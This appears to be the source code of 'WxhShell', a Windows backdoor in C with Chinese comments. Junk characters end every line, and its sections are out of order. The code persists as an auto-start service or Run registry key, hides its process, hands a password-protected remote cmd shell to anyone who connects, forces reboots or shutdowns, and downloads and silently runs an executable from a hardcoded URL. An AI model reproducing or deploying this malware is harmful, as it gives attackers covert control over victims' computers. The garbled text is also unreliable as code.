    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cB36w$n8  
    else { "K$c9Z8  
    closesocket(wsh); &[ ],rT  
    ExitThread(0); X6_ RlV]Sk  
    } uA;#*eiA/  
    break; '[HQ}Wvn  
    } >`/s+V  
  // 获取shell cvE)  
  case 's': { QgQclML1|  
    CmdShell(wsh); Qe-Pg^PS]  
    closesocket(wsh); D~Ef%!&  
    ExitThread(0); KUK.;gG*Z  
    break; 4_sJ0=z-  
  } R*0mCz^+h  
  // 退出 ,zr,>^ v  
  case 'x': { .tppCy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _}ii1fLv  
    CloseIt(wsh); *po o.Zz  
    break; Km!ACA&s6  
    } iSR"$H{  
  // 离开 BFhEDkk  
  case 'q': { nB5\ocJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \13Q>iAu  
    closesocket(wsh); *3!r &iY  
    WSACleanup(); w!v^6[!  
    exit(1); NZa 7[}H  
    break; `(`-S md  
        } 68(^*  
  } cruBJZr*  
  } =:zPT;K  
@YQ*a4`  
  // 提示信息 XjP &  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /#SfgcDt  
} 9_F&G('V{a  
  } ]7>#YKH.  
l6 }+,v@#  
  return; f~PS'I_r  
} 3$q#^UvD  
GDe,n  
// shell模块句柄 UKV<Ye|  
int CmdShell(SOCKET sock) x?lRObHK  
{ WT")tjVKA  
STARTUPINFO si; _| cSXZ|  
ZeroMemory(&si,sizeof(si)); TQ:5@1aT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %3"3V1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8 5)C7tJ-g  
PROCESS_INFORMATION ProcessInfo; F$jy~W_  
char cmdline[]="cmd"; &|}QdbW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mis B&Ok`k  
  return 0; i$$h6P#  
} }9W[7V?  
oXqJypR 2  
// 自身启动模式 qg1\ABH  
int StartFromService(void) l&qyLL2 w  
{ MRK=\qjD  
typedef struct upk+L^  
{ 6-tIe _5  
  DWORD ExitStatus; zPybP E8  
  DWORD PebBaseAddress; j~V $q/7S  
  DWORD AffinityMask; RticGQy&5  
  DWORD BasePriority; 5h^BXX|Y*  
  ULONG UniqueProcessId; 1?^ P=^8   
  ULONG InheritedFromUniqueProcessId; Ejr'Yzl3_  
}   PROCESS_BASIC_INFORMATION;  H!hd0.  
Bq HqS  
PROCNTQSIP NtQueryInformationProcess; | 4}Y:d  
%4F\#" A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iGz*4^ %  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hmOGteAf-  
J Eo;Fx]  
  HANDLE             hProcess; xV`l6QS  
  PROCESS_BASIC_INFORMATION pbi; 4 qY  
!G\gqkSL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1KGf @u%-1  
  if(NULL == hInst ) return 0; ,!alNNY  
NqD Hrx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zv0sz])  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >o{JG(Rn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8#tuB8>  
|<,0*2  
  if (!NtQueryInformationProcess) return 0; ti6X=@ P:  
koS?UYF`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )u28:+8  
  if(!hProcess) return 0; "*j8G8  
hY%} x5ntU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6__!M  
*QWOW g4w  
  CloseHandle(hProcess); rC!"<  
iu*&Jz)D>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =[!(s/+>L  
if(hProcess==NULL) return 0; T?d}IDv1  
#_aq@)Fd  
HMODULE hMod; U{Oo@ztT  
char procName[255]; YEaT_zWG0  
unsigned long cbNeeded; 60$;Q,]o  
_F`JFMS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [kqtkgK$j2  
[q3zs_nz  
  CloseHandle(hProcess); <;W-!R759  
DCZG'eb  
if(strstr(procName,"services")) return 1; // 以服务启动 %C qp88]  
);JWrkpz  
  return 0; // 注册表启动 kSc~gJrne  
} p%sizn  
%kop's&?C  
// 主模块 \xl$z *zI  
int StartWxhshell(LPSTR lpCmdLine) O$e"3^Pa  
{ ",vK~m2W_  
  SOCKET wsl; z80FMulO  
BOOL val=TRUE; .zt&HI.F  
  int port=0; vk X+{n  
  struct sockaddr_in door; 0L8fpGJ  
k+?gWZ \  
  if(wscfg.ws_autoins) Install(); 6)?u8K5%r  
7%? bl  
port=atoi(lpCmdLine); FvPWS!H  
N[\J#x!U  
if(port<=0) port=wscfg.ws_port; czu9a"M>X  
SpU|Q1Q/h  
  WSADATA data; N6u>V~i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lN:;~;z_  
3Og}_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]dJ"_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~&RrlFh  
  door.sin_family = AF_INET; ?<W|Ya  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !vJ$$o6#  
  door.sin_port = htons(port); <bo)p6S&  
`o }+2Cb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PMbZv%.,-  
closesocket(wsl); oOvQA W8`  
return 1; un~`|   
} l5VRdZ4Uf  
Q8h0.(#-  
  if(listen(wsl,2) == INVALID_SOCKET) { =. \hCgq  
closesocket(wsl); %dW ;P[0  
return 1; umq6X8K  
} T* 0;3&sA  
  Wxhshell(wsl); Keo<#Cc?  
  WSACleanup(); hF@%k ;I  
{'wvb "b  
return 0; =fnBE`Uc  
aZ_3@I{d`  
} aN0 7\  
>2pxl(i  
// 以NT服务方式启动 ,K\7y2/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %]0?vw:;j  
{ et)n`NlcK  
DWORD   status = 0; #|Lsi`]+  
  DWORD   specificError = 0xfffffff; *'A*!=5(  
'SlZ-SdR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1 /{~t[*.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h6O'"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !a:e=b7g  
  serviceStatus.dwWin32ExitCode     = 0; @M-w8!.~  
  serviceStatus.dwServiceSpecificExitCode = 0; V?G%-+^  
  serviceStatus.dwCheckPoint       = 0; E' `;  
  serviceStatus.dwWaitHint       = 0; yn]Sc<uK  
X-<,zRM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pKq[F*Lut  
  if (hServiceStatusHandle==0) return; 4XER 7c  
1?|"33\03R  
status = GetLastError(); u=v-,Tw  
  if (status!=NO_ERROR) >FOCdlJ#  
{ Ot\[Ya''  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i?(cp["7  
    serviceStatus.dwCheckPoint       = 0; Q"{Dijc%  
    serviceStatus.dwWaitHint       = 0; .(cpYKFX  
    serviceStatus.dwWin32ExitCode     = status; 7* Y*_cH5  
    serviceStatus.dwServiceSpecificExitCode = specificError; #'> )?]tn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #9[>  
    return; +3-5\t`  
  } X,3\c:  
FA{Q6fi:2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $3p48`.\  
  serviceStatus.dwCheckPoint       = 0; 9^n0<(99b  
  serviceStatus.dwWaitHint       = 0; ]*k ~jY,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .4"BN<9  
} D>W&#A8&y  
fUWrR1  
// 处理NT服务事件,比如:启动、停止 \yw5`5g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Y;^$%X%_  
{ d1c+Ii%  
switch(fdwControl) X=m^+%iD  
{ J Hm Pa  
case SERVICE_CONTROL_STOP: $},XRo&R  
  serviceStatus.dwWin32ExitCode = 0; + <E zv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :ZB.I(v  
  serviceStatus.dwCheckPoint   = 0; `{ >/'o  
  serviceStatus.dwWaitHint     = 0; `|AH3v1  
  { tR<#CCtRp'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ."BXA8c;A  
  } juF=ZW%i  
  return; 5&EBU l}  
case SERVICE_CONTROL_PAUSE: 3$YbEl@#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +VW8{=$  
  break; ,T zlW\?\  
case SERVICE_CONTROL_CONTINUE: I|&DXF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `!I/6d?A  
  break; )=K8mt0qob  
case SERVICE_CONTROL_INTERROGATE: YV|_y:-  
  break; ~%h )G#N  
}; |?^qs nB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ieq_XF]U  
} }ixCbuD  
z{1A x  
// 标准应用程序主函数 U&R)a| 7R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \VOv&s;h  
{ viYrPhH+z  
.EHq.cde  
// 获取操作系统版本 FT6CKsM"  
OsIsNt=GetOsVer(); b~tu;:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V~/@KU8cH  
'9.@r\g  
  // 从命令行安装 M"s:*c_6  
  if(strpbrk(lpCmdLine,"iI")) Install(); iOv>g-t:  
=e#h;x2  
  // 下载执行文件 n]4Elrxx  
if(wscfg.ws_downexe) { /P9fcNP{y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B;8Zlm9  
  WinExec(wscfg.ws_filenam,SW_HIDE); "y7\F9  
} %`5K8eB  
R|)l^~x  
if(!OsIsNt) { ZoJq JWsd  
// 如果时win9x,隐藏进程并且设置为注册表启动 !})Y9oZc8  
HideProc(); -:=m-3*Tg  
StartWxhshell(lpCmdLine); |+HJ>xA4I  
} 7z3tDE[#  
else !'# D~   
  if(StartFromService()) sDg1nKw(  
  // 以服务方式启动 3p HI+a  
  StartServiceCtrlDispatcher(DispatchTable); WO%pX+PoH  
else d\3 %5Y  
  // 普通方式启动 1QmOUw}yj  
  StartWxhshell(lpCmdLine); d ]|K%<+(  
_>`9]6\&  
return 0; /]J\/Z>  
} 9@"pR;X@  
;Q vQ fV4  
T'lycc4~a  
SOsz=bVx  
=========================================== (m! kg  
I*>q7Hsu  
q~aj" GD  
l}(HE+?  
;(}~m&p  
lAo~w  
" 7O|`\&RY R  
Q -$) H;,  
#include <stdio.h> f &NX~(  
#include <string.h> X)RgXl{  
#include <windows.h> j`@`M*)GB  
#include <winsock2.h> q!U$\Q&  
#include <winsvc.h> .UX4p =  
#include <urlmon.h> kUGFg{"  
GL9'dL|  
#pragma comment (lib, "Ws2_32.lib") R%2.N!8v  
#pragma comment (lib, "urlmon.lib") 7>MG8pf3a  
2o[ceEg  
#define MAX_USER   100 // 最大客户端连接数 W)f=\.7  
#define BUF_SOCK   200 // sock buffer ;q%z\gA  
#define KEY_BUFF   255 // 输入 buffer JBc*m  
*wJz0ex7R/  
#define REBOOT     0   // 重启 _(:$ :*@  
#define SHUTDOWN   1   // 关机 &D-z|ZjgHi  
U&*%KPy`  
#define DEF_PORT   5000 // 监听端口 9L-jlAo<  
VR"le&'z"  
#define REG_LEN     16   // 注册表键长度 \X(*JNQ  
#define SVC_LEN     80   // NT服务名长度 SzeY?04zj:  
T ?A3f]U  
// 从dll定义API aYk: CYQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A+H8\ew2,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l\N2C4NG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E%8uQ2p(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qo \9,<  
l9j= ;h  
// wxhshell配置信息 s 8K.A~5 w  
struct WSCFG { F"M/gy  
  int ws_port;         // 监听端口 [h B$%i]\<  
  char ws_passstr[REG_LEN]; // 口令 hop| xtai;  
  int ws_autoins;       // 安装标记, 1=yes 0=no XGe;v~L  
  char ws_regname[REG_LEN]; // 注册表键名 -Mrt%1g  
  char ws_svcname[REG_LEN]; // 服务名 &k_LK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7KUf,0D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v \; /P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7J6Z?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F_w+8)DZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Bnwq!i!M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JP( tf+  
~bzac2Rp  
}; *m>[\)  
RiQg]3oY  
// default Wxhshell configuration Jo;&~/ V   
struct WSCFG wscfg={DEF_PORT, N5K2Hv<"  
    "xuhuanlingzhe", <9xr? i=  
    1, {!? M!/d  
    "Wxhshell", ~9k E.  
    "Wxhshell", :6(@P1vA 6  
            "WxhShell Service", 47{5{/B-  
    "Wrsky Windows CmdShell Service", {/5aF_0D.  
    "Please Input Your Password: ", {=J:  
  1, |}YxxeAk  
  "http://www.wrsky.com/wxhshell.exe", jHHCJOHB8  
  "Wxhshell.exe" OA}; pQ9QN  
    }; Ke:EL;*8k  
qvWi;  
// 消息定义模块 sL\ {.ad5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5"1wz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _e8v12s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hc|cA(9sh9  
char *msg_ws_ext="\n\rExit."; mv,a>Cvs[  
char *msg_ws_end="\n\rQuit."; T <k;^iqR  
char *msg_ws_boot="\n\rReboot..."; D-i, C~W  
char *msg_ws_poff="\n\rShutdown..."; 6'uCwAQU  
char *msg_ws_down="\n\rSave to "; X$Q.A^9  
Vep 41\g^  
char *msg_ws_err="\n\rErr!"; a\,V>}e  
char *msg_ws_ok="\n\rOK!"; NZ8X@|N  
L"S2+F)n  
char ExeFile[MAX_PATH]; B2LXF3#/  
int nUser = 0; y|0/;SjV  
HANDLE handles[MAX_USER]; p0CPeH  
int OsIsNt; a[rb-Z  
c 8Q2H  
SERVICE_STATUS       serviceStatus; ]b1>bv%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N|"kuRN#  
+mR^I$9  
// 函数声明 G*%U0OTi  
int Install(void); H)&iFq  
int Uninstall(void); _):@C:6  
int DownloadFile(char *sURL, SOCKET wsh); GCw4sb4~w  
int Boot(int flag); 0SIUp/.  
void HideProc(void); {<}Hut:a  
int GetOsVer(void); \WdSj  
int Wxhshell(SOCKET wsl); x\:KfYr4Y;  
void TalkWithClient(void *cs); br k*;  
int CmdShell(SOCKET sock); ~d\V>  
int StartFromService(void); 1BEc"  
int StartWxhshell(LPSTR lpCmdLine); C+`V?rp=s  
H{9P=l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [wQJVYv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z1$U[Tsd  
8D?$@!-  
// 数据结构和表定义 ~FXq%-J  
SERVICE_TABLE_ENTRY DispatchTable[] = 7\nXJ381  
{ S&[9Vb  
{wscfg.ws_svcname, NTServiceMain}, '?_~{\9<  
{NULL, NULL} xA2I+r*o  
}; Q]K$yo  
(=1zMZ o  
// 自我安装  nsV=  
int Install(void) >/}p{Tj  
{ s!MD8i a  
  char svExeFile[MAX_PATH]; kj4=Q\Rfm  
  HKEY key; 5X5UUdTM  
  strcpy(svExeFile,ExeFile); @y * TVy  
rHOhi|+  
// 如果是win9x系统,修改注册表设为自启动 `e3$jy@  
if(!OsIsNt) { JwWxM3(%t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T9kc(i'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9CN'2 9c  
  RegCloseKey(key); B` +, 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6 A#xFPYY{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); suLC7x`Z  
  RegCloseKey(key); Gp)J[8j  
  return 0; lt2MB#  
    } xA-?pLt "G  
  } i!RYrae  
} GGhk`z  
else { MujEjD "|  
rb'mFqg*u  
// 如果是NT以上系统,安装为系统服务 eq&QWxiD*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $[7/~I>m  
if (schSCManager!=0) .O#7X  
{ w?N>3`Jnf  
  SC_HANDLE schService = CreateService ,PJC FQMR  
  ( )4:]gx#cr  
  schSCManager, <1* \ ~CX  
  wscfg.ws_svcname, R4k+.hR  
  wscfg.ws_svcdisp, [)0^*A2  
  SERVICE_ALL_ACCESS, 2@ZRz%(Oa&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4Xt`L"f  
  SERVICE_AUTO_START, q.@% H}  
  SERVICE_ERROR_NORMAL, CM[83>  
  svExeFile, 4"!kCUB  
  NULL, B J I N  
  NULL, 7#9%,6Yi  
  NULL, $T7 qd  
  NULL, Nvh& =%{g  
  NULL 15' fU!  
  ); 9!Xp+<  
  if (schService!=0) Cp>y<C"  
  { CW/L(RQ  
  CloseServiceHandle(schService); A9"!=/~  
  CloseServiceHandle(schSCManager); ^\J-LU|"B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GY0OVAW6'c  
  strcat(svExeFile,wscfg.ws_svcname); R2 J A(Hn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { = 8y,7u)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jWh)bsqI!  
  RegCloseKey(key); !)W#|sys&  
  return 0; Y(?SE< 4R  
    } xpwy%uo  
  } u3wd~.  
  CloseServiceHandle(schSCManager); bH'2iG  
} & 2q<#b  
} eU e, P  
lq, ]E/<&  
return 1; 8?: 2<  
} nvNF~)mu  
&o1k_!25  
// 自我卸载 V*Xr}FE  
int Uninstall(void) )"6"g9A  
{ 1cRF0MI  
  HKEY key; HNj;_S  
fM*?i"j;Y  
if(!OsIsNt) { G8/q&6f_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n'JS-  
  RegDeleteValue(key,wscfg.ws_regname); FS!)KxC/-  
  RegCloseKey(key); gm!sLZ!X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8.I3%u  
  RegDeleteValue(key,wscfg.ws_regname); 3=} P l,  
  RegCloseKey(key); {{gt>"D,  
  return 0; T-/3 A%v  
  } FCKyKn  
} =20 +(<  
} ji.?bKqHE  
else { EN}XIa>R  
tXZMr   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )/~o'M3  
if (schSCManager!=0) ]f U&?z#  
{ H~>8q~o]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9nFWJn  
  if (schService!=0) KH=3HN}  
  { $\~cWpv  
  if(DeleteService(schService)!=0) {  M}@>h  
  CloseServiceHandle(schService); SB.=x  
  CloseServiceHandle(schSCManager); }Ya! [tX  
  return 0; 0) F\aJ4Y  
  } Y"yrc0'&T  
  CloseServiceHandle(schService); IA]wO%c  
  } 3Lq9pdM>2@  
  CloseServiceHandle(schSCManager); ux| QGT2LY  
} {9x>@p/  
} ;f N^MW@&[  
T0)bnjm  
return 1; )EKWsGNe/  
} .jtv Hr}U  
]+B.=mO_  
// 从指定url下载文件 ^W@%(,xb  
int DownloadFile(char *sURL, SOCKET wsh) (~E-=+R[$&  
{ z5Tsu1 c  
  HRESULT hr; t+]1D@hv  
char seps[]= "/"; H=g%>W%3  
char *token; `<| <1,  
char *file; U|\ .)h=  
char myURL[MAX_PATH]; 6KXW]a `  
char myFILE[MAX_PATH]; c14d0x{  
u GqeT#dP  
strcpy(myURL,sURL); /{R.   
  token=strtok(myURL,seps); i1m>|[@k  
  while(token!=NULL) F[!%,-*  
  { tm2lxt  
    file=token; V`W']  
  token=strtok(NULL,seps); o)7Ot\:E  
  } `YE= B{q  
S7#dyAX8  
GetCurrentDirectory(MAX_PATH,myFILE); j|N<6GSke  
strcat(myFILE, "\\"); a l6y=;\jZ  
strcat(myFILE, file); [C<K~  
  send(wsh,myFILE,strlen(myFILE),0); M*Ej*#  
send(wsh,"...",3,0); "+wkruC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S?C.:  
  if(hr==S_OK) )|k#cT{=M  
return 0; UwF-*(#41  
else .QwB7+V4  
return 1; I.T?A9Z  
v-q-CI? B#  
} 6akI5\b  
$?]`2*i  
// 系统电源模块 SBs!52  
int Boot(int flag) S_OtY]gF  
{ BT_XqO  
  HANDLE hToken; *n7=m=%)  
  TOKEN_PRIVILEGES tkp; (6:.u.b  
Th*}U&  
  if(OsIsNt) { 0chpC)#Q3;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l}/&6hI+d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8TP~=qU  
    tkp.PrivilegeCount = 1; '` 2MxRP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x a<KF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O"\_%=X9  
if(flag==REBOOT) { bGK*1FlH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k<+Sj h$  
  return 0; X"r.*fb;N  
} YZSQOLN{  
else { Ldv,(ZV,<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o$+R  
  return 0; -1v9  
} r Dlu&  
  } Nq8 3 6HL  
  else { u~Po5W/i  
if(flag==REBOOT) { gW--[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >wt.)c?5  
  return 0; kD%MFT4  
} y%61xA`#  
else { bu_@A^ys  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d,(q 3  
  return 0; U1E@pDH  
} v {uq  
} 2 rf8)8':  
n8_X<jIp3  
return 1; =N{?ll6x7g  
} :l!sKT?:d!  
/#(IV_Eol  
// win9x进程隐藏模块 k} &wy  
void HideProc(void) Ka-o$o[^u`  
{ JehanF[  
]Sa#g&}T>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8]`s&d@GY  
  if ( hKernel != NULL ) GIcq|Pe  
  { z uW4gJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }5(_gYr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cb?  !+U  
    FreeLibrary(hKernel); h9<PP2.(  
  } ly0L)L]\  
a{^z= =  
return; ]w _&%mB  
} I]+ zG  
.FgeAxflP  
// 获取操作系统版本 vN],9 q  
int GetOsVer(void) f'(F'TE  
{ 3'`&D/n  
  OSVERSIONINFO winfo; Y$n+\K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r,0D I  
  GetVersionEx(&winfo); %aK[Yvo6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xy 4k;+  
  return 1; 6'/ Zq  
  else p}1gac_c  
  return 0;  ] ?D$n  
} SM RKEPwp&  
)D6 i {I0  
// 客户端句柄模块 gWa0x-  
int Wxhshell(SOCKET wsl) j y5[K.  
{ % H"  
  SOCKET wsh; IE996   
  struct sockaddr_in client; Oy=0Hsh@x  
  DWORD myID; iJOG"gI&  
wzwv>@}  
  while(nUser<MAX_USER) ]w;t0Bk  
{ 5 0-7L,  
  int nSize=sizeof(client); tugIOA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -bOtF%  
  if(wsh==INVALID_SOCKET) return 1; CkNR{?S  
yx-"&K=`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :LNZC,-f}5  
if(handles[nUser]==0) U2<q dknB  
  closesocket(wsh); H+Bon=$cE!  
else  =5B5  
  nUser++; [#Gu?L_W  
  } @#t<!-8d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E=,5%>C0#%  
.`+~mQ Wn  
  return 0; Sq_.RU  
} ciml:"nQ  
wdBB x\FP  
// 关闭 socket 2ns,q0I A  
void CloseIt(SOCKET wsh) BV>9U5  
{ /]Y#*r8jRi  
closesocket(wsh); ~zac.:a8  
nUser--; i*mU<:t  
ExitThread(0); _[-MyUs  
} ),B/NZ/-  
^ [m-PS(  
// 客户端请求句柄 \M@IKE  
void TalkWithClient(void *cs) 2 SD Z  
{ K g#Bg##  
Aqf91 [c  
  SOCKET wsh=(SOCKET)cs; 8WP"~Js!  
  char pwd[SVC_LEN]; ^K1mh9O  
  char cmd[KEY_BUFF]; xPUukmG:B  
char chr[1]; NJr)f  
int i,j; S>(xx"Ia  
FO^6c  
  while (nUser < MAX_USER) { Oi:Hs  
8YRT0/V  
if(wscfg.ws_passstr) { WR#h~N 9c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1<#D3CXK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  gvo98Id  
  //ZeroMemory(pwd,KEY_BUFF); NR_3nt^h  
      i=0; GiuE\J9i  
  while(i<SVC_LEN) { f~P YK  
Khi6z&B  
  // 设置超时 P}gtJ;  
  fd_set FdRead; vjm? X  
  struct timeval TimeOut; ,JK0N_=  
  FD_ZERO(&FdRead); R+uZi~  
  FD_SET(wsh,&FdRead); 3T]cDVQ_  
  TimeOut.tv_sec=8; We}9'X}  
  TimeOut.tv_usec=0; T>| hID  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PP'5ANK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,=Wj*S)~  
H'YKj'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zh;}Q(w  
  pwd=chr[0]; t6KKfb  
  if(chr[0]==0xd || chr[0]==0xa) { > _sSni  
  pwd=0; L{>rN`{  
  break; ~?b1x+soV  
  } qG 20  
  i++; yY UAH-  
    } j1{`}\e  
}6%\/d1~ 6  
  // 如果是非法用户,关闭 socket t-C|x)J+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]Bf1p  
} >E4,zs@7t  
p2b~k[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hn)? xw]x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^J7q,tvbJ  
['\R4H!x  
while(1) { 6q>iPK Jt  
K*Ba;"Ugeg  
  ZeroMemory(cmd,KEY_BUFF); !*&5O~dfN  
{4 vWSb  
      // 自动支持客户端 telnet标准   |#cqxr"  
  j=0; GOA dhh-  
  while(j<KEY_BUFF) { g_l-@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _7:Bxx4B  
  cmd[j]=chr[0]; *: FS/ir  
  if(chr[0]==0xa || chr[0]==0xd) { i.On{nB"k  
  cmd[j]=0; RXAE jzf   
  break; Z*q&^/N  
  } @]~.-(IMh  
  j++; ;rL1[qwk  
    } ceks~[rP  
o!+'< IQ'  
  // 下载文件 wo(O+L/w  
  if(strstr(cmd,"http://")) { dgX%NKv1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x{w|Hy  
  if(DownloadFile(cmd,wsh)) ) aMiT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fng  
  else -WyB2$!(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y+23 jlgb  
  } xE--)=<$  
  else { &${| o@  
o?M;f\Fy  
    switch(cmd[0]) { TeZu*c  
  h2mHbe43  
  // 帮助 \oxf_4X  
  case '?': { ShV_8F z  
